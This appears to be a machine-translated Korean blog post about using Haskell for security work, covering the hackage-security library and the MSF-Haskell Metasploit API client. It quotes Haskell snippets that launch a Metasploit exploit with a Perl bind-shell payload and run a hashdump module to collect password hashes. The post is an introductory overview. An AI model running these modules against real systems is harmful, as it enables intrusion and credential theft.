Haskell을 사용한 보안

"당신은 미쳤어"에서 "왜 심지어?"일반적으로 Haskell, 특히 보안 작업을 시작했을 때 컴퓨터 과학 환경에 있는 제 친구들이 제게 말해 준 것 중 일부입니다. 순서대로 대답하면 네, 제정신이 아니지만 Haskell 때문은 아닙니다. 제가 보안을 위해 Haskell을 선택한 이유가 있습니다. 우선, 함수형 프로그래밍은 새로운 검은색이며 아마도 점점 더 많은 앱이 이를 사용하여 빌드될 것입니다. 보안을 위해 순수 함수형 언어를 선택하는 것은 미친 짓이 아닙니다. 반면 Haskell이 가지고 있는 수학적 접근은 암호학에서 매우 유용합니다.



그렇다면 보안 감사를 위해 Haskell을 어떻게 사용할 수 있습니까?

여기서는 현재 인덱스 서명만 지원하는 hackage-security이라는 특정 라이브러리를 가리키고 싶습니다. 위키에 설명된 대로 라이브러리에는 두 개의 주요 진입점이 있습니다. Hackage.Security.Client은 클라이언트의 주요 진입점이고 Hackage.Security.Server은 서버의 주요 진입점입니다. 확인할 가치가 있습니다.

이 외에도 haskell로 침투 테스트를 수행할 수 있는 github의 저장소MSF-Haskell도 있습니다. 또한 예제로 haskell의 스크립트와 전체 백서도 포함되어 있습니다. 이것은 실제로 개발자가 Metasploit 서버와 통신하는 Haskell 클라이언트를 작성할 수 있게 해주는 Metasploit API의 구현입니다. 예를 들어 예제 스크립트의 일부에서 대상 호스트에 대한 예제 익스플로잇을 시작합니다.

launchExploit :: (LoudCxt s) => Host Attackable -> MSF s ()
launchExploit targetHost = do
  _ <- module_execute metasploitableModuleType metasploitableModuleName
      $ toObject
      $ Map.fromList
          [ ("RHOST",   toObject targetHost)
          , ("PAYLOAD", toObject metasploitablePayload)
          ]
  return ()


그리고 이전에 페이로드 자체를 정의했습니다.

metasploitablePayload = Payload "cmd/unix/bind_perl"


또는 암호 해시를 가져오기 위한 이 부분:

gatherCredentials :: (LoudCxt s) => SessionId -> MSF s ()
gatherCredentials sessionId = do
  let modTyp = PostModuleType
      modNm = ModuleName "linux/gather/hashdump"

  r <- module_execute modTyp modNm
      $ toObject
      $ Map.fromList
          [ ("SESSION",   toObject sessionId)
          ]
  case r of
    (ExecJobId j) -> waitJob j
    _             -> return ()


요약하자면 Haskell은 보안에서 기능적 스크립팅을 위한 옵션이 될 수 있습니다. Maybe good_option, you know, just an option or nothing, 하하 기능적인 농담, badum tss.



어쨌든 이것은 완전히 새로운 유형의 공격입니다! 앞에서 설명한 것과 같은 API 구현을 사용하지 않고 처음부터 시작합니다. 암호화에 대해 말하자면, 이repo는 타원 곡선 암호화를 처리하므로 흥미롭습니다. Welp, 공식 Haskell 웹에서 cryptography repos 및 보안 repos을 살펴보십시오. 아직 조사 중이니 여기에서 같은 분야에서 일하는 사람이 있다면 더 많은 정보를 제공해 주세요!

좋은 웹페이지 즐겨찾기